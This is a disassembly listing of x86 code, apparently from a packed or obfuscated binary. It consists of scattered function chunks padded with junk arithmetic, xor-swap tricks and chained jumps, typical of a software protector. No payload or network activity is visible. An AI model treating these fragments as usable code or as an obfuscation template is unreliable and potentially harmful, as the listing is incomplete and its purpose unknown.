; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF3AA


loc_59E541:				; CODE XREF: sub_5AF3AA-D27Cj
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edx
		xor	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebx
		push	322F7F49h
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A29BD
; END OF FUNCTION CHUNK	FOR sub_5AF3AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59E56D:				; CODE XREF: sub_5A5EFF-6770j
		jmp	loc_5AEB6A
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E572:				; CODE XREF: sub_5AA2D1-1109Fj
		mov	ecx, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59C6E7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59E586:				; CODE XREF: sub_5A5EFF+CD5j
		add	ebp, 1
		jmp	loc_5AA5B7
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------


loc_59E591:				; CODE XREF: sdfs____:005A3098j
		neg	eax
		js	loc_5AC77D
		neg	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 9CBFEF4Eh
		mov	ebx, eax
; START	OF FUNCTION CHUNK FOR sub_5AF46F


loc_59E5A7:				; CODE XREF: sub_5AF46F-122EAj
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	4
		pop	ebp
		jmp	loc_5A6C51
; END OF FUNCTION CHUNK	FOR sub_5AF46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0278


loc_59E5BB:				; CODE XREF: sub_5A0278-616j
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 3E527154h
		shl	ebx, 4
		jmp	sub_5A2E28
; END OF FUNCTION CHUNK	FOR sub_5A0278
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_59E5CB:				; CODE XREF: sub_5A9B1D-B368j
					; sub_5AD6D4-A949j
		push	edi
		xor	[esp+10h+var_10], 331D696Ah
		pop	esi
		xor	esi, 331D696Ah
		push	eax
		mov	eax, esi
		mov	ebp, eax
		pop	eax
		pop	esi
		jmp	loc_5A534B
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E5E6:				; CODE XREF: sub_5AA2D1+225Bj
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		xor	edi, [esp-4+arg_0]
		jmp	loc_59EC35
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59E5F7:				; CODE XREF: sdfs____:0059DA52j
					; sub_5A6BBC-2F29j
		mov	esi, ebx
		jmp	loc_59BAEA
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E5FE:				; CODE XREF: sub_5AA2D1-995Cj
		add	esp, 4
		jmp	loc_5AC5FC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59E609:				; CODE XREF: sub_5A0AA2-5Ej
		pop	edi
		jmp	loc_5AE77D
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59E60F:				; CODE XREF: sub_59C979:loc_599F29j
		push	small 744Ch
		mov	[esp+2+var_2], cx
		jmp	loc_5A3856
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59E61C:				; CODE XREF: sub_5A5EFF-6676j
		jmp	loc_5A2A2E
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59E621:				; CODE XREF: sub_5AD795-AE5Bj
		push	edx
		push	ecx
		jmp	loc_5A0082
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_59E628:				; CODE XREF: sub_5A9EC5-DA20j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5AFA60
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59E63A:				; CODE XREF: sub_5A5EFF-19D1j
		pop	eax
		add	edx, 12C43BA9h
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E642:				; CODE XREF: sub_5AA2D1-10D8Aj
					; sub_5A5EFF-783Cj
		push	62Bh
		mov	[esp-18h+arg_14], edx
		push	ebp
		push	10466AC2h
		jmp	loc_5A3222
; ---------------------------------------------------------------------------


loc_59E655:				; CODE XREF: sub_5AA2D1-483Aj
		sub	ch, dh
		pop	dx
		jmp	loc_59BEE5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59E65E:				; CODE XREF: sub_5A63DC-9BB5j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	ebx
		mov	ebx, 49471F1Ch
		or	ebx, 772867D0h
		push	edi
		mov	edi, 80908028h
		add	ebx, edi
		jmp	loc_59CA81
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E67D:				; CODE XREF: sub_5AA2D1-EC1j
		xor	ebp, 0EDFFEB8Bh
		mov	edx, ebp
		pop	ebp
		sub	esi, 406F1677h
		add	esi, edx
		add	esi, 406F1677h
		pop	edx
		and	[edi+1Ch], esi
		pop	esi
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_59E69E:				; CODE XREF: sub_5AB08D-117AEj
		push	edi
		jmp	loc_5AB0E0
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59E6A4:				; CODE XREF: sub_5A5EFF+46DCj
		add	ecx, ebp
		add	ecx, 442D3DA4h
		pop	ebp
		sub	esp, 4
		mov	[esp+0], ecx
		push	[esp+arg_0]
		pop	ecx
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		or	eax, eax
		jnz	loc_59E642
		mov	edx, 3F2D1666h
		add	edx, 22595C22h
		jo	loc_59E9DF
		inc	edx
		js	loc_5A4B26
		and	edx, 5DA21A64h
		jg	loc_59F78B
		inc	edx
		shl	edx, 6
		jnz	loc_5A161C
		mov	esi, edi


loc_59E6F9:				; CODE XREF: sub_5A5EFF+64F6j
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		jmp	loc_59DC67
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_59E707:				; CODE XREF: sub_59A479+10440j
		mov	[esp+8+var_8], edi
		mov	edi, esp
		push	eax
		mov	eax, 2E4C5AE2h
		inc	eax
		not	eax
		jmp	loc_5AFD96
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59E71A:				; CODE XREF: sub_59A9E9+151BDj
		sub	edx, 4
		xchg	edx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], ecx
		jmp	loc_59F63C
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_59E72B:				; CODE XREF: sub_5A3E64+B2D0j
		xor	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 12CF3CC5h
		shr	ecx, 6
		jmp	loc_599A55
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_59E73C:				; CODE XREF: sub_5A633D+1j
		pop	ecx
		pop	ebp
		dec	ecx
		add	ecx, 0B9A7EC78h
		sub	edx, ecx
		pop	ecx
		push	ecx
		push	edx
		jmp	loc_59A412
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_59E74F:				; CODE XREF: sub_59ED98+1151Bj
		push	cx
		mov	cl, 9
		add	al, cl
		mov	cx, [esp+0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+0]
		pop	esp
		push	ecx
		mov	cl, 68h
		sub	cl, 0CEh
		xor	cl, 0EEh
		add	al, cl
		pop	ecx
		sub	al, cl
		jmp	loc_5A9015
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59E77C:				; CODE XREF: sub_59D6B8-14DFj
					; sub_5AB2EA-5AE0j
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		jmp	loc_59AE4E
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59E789:				; CODE XREF: sub_59C979+9174j
		push	eax
		push	ecx
		pop	eax
		pop	ecx
		jmp	loc_5B0421
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59E792:				; CODE XREF: sub_5A0AA2+98CDj
		not	ebx
		or	ebx, 35452FE1h
		inc	ebx
		jmp	loc_59CD4A
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_59E7A0:				; CODE XREF: sub_59DE4B+7FF1j
		pop	edx
		jmp	loc_59E943
; END OF FUNCTION CHUNK	FOR sub_59DE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_59E7A6:				; CODE XREF: sub_5A9B1D+2917j
		add	edx, 5F0A668Ch
		sub	edx, 738213E3h
		mov	ecx, edx
		pop	edx
		jmp	loc_59E5CB
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_59E7BA:				; CODE XREF: sub_5A10E3+15j
		mov	ebp, 6F9A2B7Eh
		add	ebx, ebp
		push	[esp+8+var_8]
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_59FEE3
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59E7CD:				; CODE XREF: sub_5A79BE+7D7Aj
		mov	esp, [esp-4+arg_0]
		bt	[esp-4+arg_0], eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_59E7DA:				; CODE XREF: sub_5A600D-C484j
		push	eax
		mov	ah, 8Dh
		shl	ah, 4
		xor	ah, 32h
		jmp	loc_5A8F18
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E7E8:				; CODE XREF: sub_5AC803-230Aj
					; sub_5AA2D1+1416j
		mov	ecx, [esp-1Eh+arg_18+2]
		add	esp, 4
		pop	[esp-22h+arg_1C+2]
		mov	esp, [esp-26h+arg_20+2]
		mov	[esp-26h+arg_20+2], edx
		mov	edx, ebp
		push	1201h
		mov	[esp-22h+arg_1C+2], edx
		add	[esp-22h+arg_1C+2], 6CA033D5h
		pop	eax
		jmp	loc_5AA418
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_59E811:				; CODE XREF: sub_5AD243-204j
		add	eax, esi
		pop	esi
		push	eax
		jmp	loc_5A83B6
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59E81A:				; CODE XREF: sub_5A0FFF-19E9j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5A105B
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_59E828:				; CODE XREF: sub_5AB3DB+4670j
		not	edi
		dec	edi
		neg	edi
		jmp	loc_5A9873
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------


loc_59E832:				; CODE XREF: sdfs____:005AC7B0j
		sub	al, 6Dh
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		add	al, 70h
		sub	al, bl
		sub	al, 70h
		push	5789h
		mov	[esp], ecx
		mov	cl, 0B2h
		add	al, cl
		pop	ecx
		jmp	loc_5A9955
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59E853:				; CODE XREF: sub_5B01F7+Cj
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5A62DE
; ---------------------------------------------------------------------------


loc_59E861:				; CODE XREF: sub_5B01F7-C0CAj
					; sdfs____:005A9762j
		xor	edx, edi
		xor	edi, edx
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		xchg	edx, edi
		push	ecx
		jmp	loc_5A1F43
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A75B9


loc_59E873:				; CODE XREF: sub_5A75B9+12j
		mov	[esp+8+var_8], ebx
		mov	ebx, 1564559Dh
		push	eax
		mov	eax, 7491B94h
		xor	ebx, eax
		pop	eax
		xor	ebx, 227A444Ah
		jmp	loc_5A0125
; END OF FUNCTION CHUNK	FOR sub_5A75B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59E88F:				; CODE XREF: sub_5A477C-B1BFj
		mov	eax, 7DE30A1Bh
		add	eax, 93032A8h
		not	eax
		dec	eax
		jnp	loc_59C573
		jmp	loc_59B701
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_5A5DC3
; ---------------------------------------------------------------------------
		push	edx
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59E8AE:				; CODE XREF: sub_5A2E41+9BAFj
		add	ebp, 196F300Ch
		not	ebp
		sub	ebp, 66B369DBh
		sub	ebp, 3544295Ch
		sub	edi, ebp
		pop	ebp
		add	edx, edi
		mov	edi, [esp+0]
		push	edi
		mov	edi, esp
		jmp	loc_5A341F
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59E8D2:				; CODE XREF: sub_59C979+F215j
		mov	dh, 9Ah
		add	dh, ah
		pop	eax
		jmp	loc_5A0DC5
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59E8DC:				; CODE XREF: sub_59A26C+9j
					; sub_5A580F+4D0Dj
		push	esp
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+arg_0]
		pop	ebp
		jmp	loc_5A6BA5
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_59E8FD:				; CODE XREF: sub_5AB3DB-768Ej
		jmp	loc_59D438
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_59E902:				; CODE XREF: sub_5A9EB4-D873j
		xor	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		push	53133756h
		pop	esi
		mov	[edx+38h], esi
		pop	esi
		jmp	loc_5A5674
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59E918:				; CODE XREF: sub_59EE3E+3579j
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	edx
		mov	edx, 272C2ED3h
		sub	edx, 272C2ED1h
		jmp	loc_5ABBD6
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_59E93B:				; CODE XREF: sub_5A4DFC-3E6Fj
		mov	ebx, [esp+6+var_8+2]
		jmp	loc_5A23BC
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_59E943:				; CODE XREF: sub_59DE4B+956j
		add	ebp, edx
		push	ecx
		jmp	loc_5AAAC2
; END OF FUNCTION CHUNK	FOR sub_59DE4B

; =============== S U B	R O U T	I N E =======================================



sub_59E94B	proc near		; CODE XREF: sub_5A2789+660Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00599CFB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A8D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B05C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C566 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059DDA9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059E37C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EDEA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A141D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A19FE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A4828 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A567E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A56A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A763E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8499 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A8C50 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A916B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A99CB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AA097 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AA61E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA9BD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB550 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC722 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE580 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AFA39 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AFB60 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005B0152 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 2C8116F8h
		sub	ebp, 14EF62DFh
		inc	ebp
		jmp	loc_5A916B
sub_59E94B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59E95D:				; CODE XREF: sub_5AA2D1-C9F9j
		push	6D39h
		mov	[esp-8+arg_4], ebp
		mov	ebp, 628CB195h
		xor	edx, ebp
		mov	ebp, [esp-8+arg_4]
		push	edi
		push	esp
		jmp	loc_5A5339
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59E976:				; CODE XREF: sub_5A63DC-EE6j
		add	[esp+0], eax
		add	dword ptr [esp+0], 518A20BFh
		push	35C3h
		mov	[esp+4+var_4], edx
		push	ebp
		push	edx
		push	ebx
		push	221D10D8h
		pop	ebx
		shl	ebx, 5
		jp	loc_5AB6B3
		dec	ebx
		jg	loc_5A07C9
		jmp	loc_5AC15F
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59E9A6:				; CODE XREF: sub_59D6B8-3757j
					; sub_5A4E04+1B96j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+14h+var_14]
		pop	esp
		jmp	loc_5A3FEE
; ---------------------------------------------------------------------------


loc_59E9BB:				; CODE XREF: sub_59D6B8+D43Fj
		push	ecx
		mov	ecx, 69061180h
		not	ecx
		jmp	loc_59983A
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59E9C8:				; CODE XREF: sub_59C979+6486j
		sub	ecx, 8ECFF32Bh
		jmp	loc_5A63BC
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_59E9D3:				; CODE XREF: sub_59FB1A+9A63j
		mov	dh, 0BFh
		sub	dh, cl
		mov	ecx, [esp+0]
		jmp	loc_5A0AF3
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59E9DF:				; CODE XREF: sub_5A5EFF-782Bj
		inc	edx
		js	loc_5A81DF
		and	edx, 5DA21A64h
		jmp	loc_5AD3F6
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59E9F1:				; CODE XREF: sub_5B01F7-14502j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_59E9F6:				; CODE XREF: sub_5AE40A-5DBEj
		inc	edx
		dec	edx
		xor	edx, 3ED03ECEh
		jmp	loc_5A7CBD
; END OF FUNCTION CHUNK	FOR sub_5AE40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59EA03:				; CODE XREF: sub_5A6BBC+546Fj
		sub	cl, 54h
		add	cl, 2Dh
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		push	dx
		mov	dl, 23h
		jmp	loc_5A61D6
; ---------------------------------------------------------------------------


loc_59EA1C:				; CODE XREF: sub_5A6BBC+5180j
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_5A4034
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_59EA30:				; CODE XREF: sub_5A3C19+19j
		jp	loc_59FDFE
		add	ebx, 80C66AA1h
		add	ecx, ebx
		and	al, 0BFh
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59EA40:				; CODE XREF: sub_5A2E41-D90j
		xchg	eax, [esp+4+var_4]
		pop	ebx
		xchg	eax, ebx
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		or	ebx, 204D498Ah
		jmp	loc_5B030D
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EA54:				; CODE XREF: sub_5AA2D1-476Fj
		add	esi, 0EFFF1F57h
		mov	ecx, esi
		jmp	loc_5A0C23
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_59EA61:				; CODE XREF: sub_5AB207-10441j
		sub	ecx, 3FB773FAh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A75D0
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59EA6F:				; CODE XREF: sub_5992DA+8F55j
		pop	edx
		push	2732h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		xor	edx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edx
		xor	edx, [esp+0Ch+var_C]
		jmp	loc_59F06C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_59EA94:				; CODE XREF: sub_5AC803-17DCj
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A0B1B
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59EAA4:				; CODE XREF: sub_59D6B8+10833j
		inc	ecx
		jmp	loc_5AF166
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC478


loc_59EAAA:				; CODE XREF: sub_5AC478+1j
		mov	edx, esp
		jmp	loc_59C7E5
; END OF FUNCTION CHUNK	FOR sub_5AC478
; ---------------------------------------------------------------------------


loc_59EAB1:				; CODE XREF: sdfs____:005AFE42j
		sub	al, 0F3h
		sub	al, 65h
		jmp	loc_5A587D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59EABA:				; CODE XREF: sub_599D0E+C38Aj
		add	eax, ebx
		sub	eax, 7C3A5B80h
		pop	ebx
		add	eax, 2
		push	esi
		mov	esi, esp
		jmp	loc_5A55B2
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_59EACF:				; CODE XREF: sub_5A917C+34BDj
		add	eax, 4
		jmp	loc_5AA6DC
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59EAD9:				; CODE XREF: sub_5A2E28-808Aj
		add	esp, 4
		or	ecx, ecx
		jz	loc_5A2E82
		sub	esp, 4
		push	esp
		pop	[esp-8+arg_4]
		push	edi
		push	ebx
		mov	ebx, 18760D4Bh
		mov	edi, 5428245Fh
		sub	edi, 35727F88h
		jnp	loc_59BAE5
		jmp	loc_5A2FCE
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA26A


loc_59EB08:				; CODE XREF: sub_5AA26A+8j
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		push	ecx
		jmp	loc_5A097A
; END OF FUNCTION CHUNK	FOR sub_5AA26A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59EB19:				; CODE XREF: sub_5A2E41+DF9j
		add	[esp+0Ch+var_C], 4
		pop	ebp
		jmp	loc_59BED0
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59EB26:				; CODE XREF: sub_5992DA+8327j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_5996EC
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59EB39:				; CODE XREF: sub_5A0AA2+77Cj
		xor	ecx, 3B282332h
		jmp	loc_5A1F96
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_59EB44:				; CODE XREF: sub_599A61+CD03j
		shl	edx, 2
		jns	loc_5A2416
		jmp	loc_5A722B
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59EB52:				; CODE XREF: sub_59F02F+11j
		mov	ebp, 5DD96DAFh
		or	ebp, 653F685Bh
		add	ebp, 82009205h
		add	ebx, 5B124DD9h
		sub	ebx, 405B4A52h
		add	ebx, ebp
		add	ebx, 405B4A52h
		sub	ebx, 5B124DD9h
		pop	ebp
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	edi
		mov	edi, 3BE805D3h
		add	eax, edi
		pop	edi
		sub	eax, 602A279Ch
		jmp	loc_5A2A4B
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------


loc_59EB97:				; CODE XREF: sdfs____:005AC473j
		mov	esi, edi
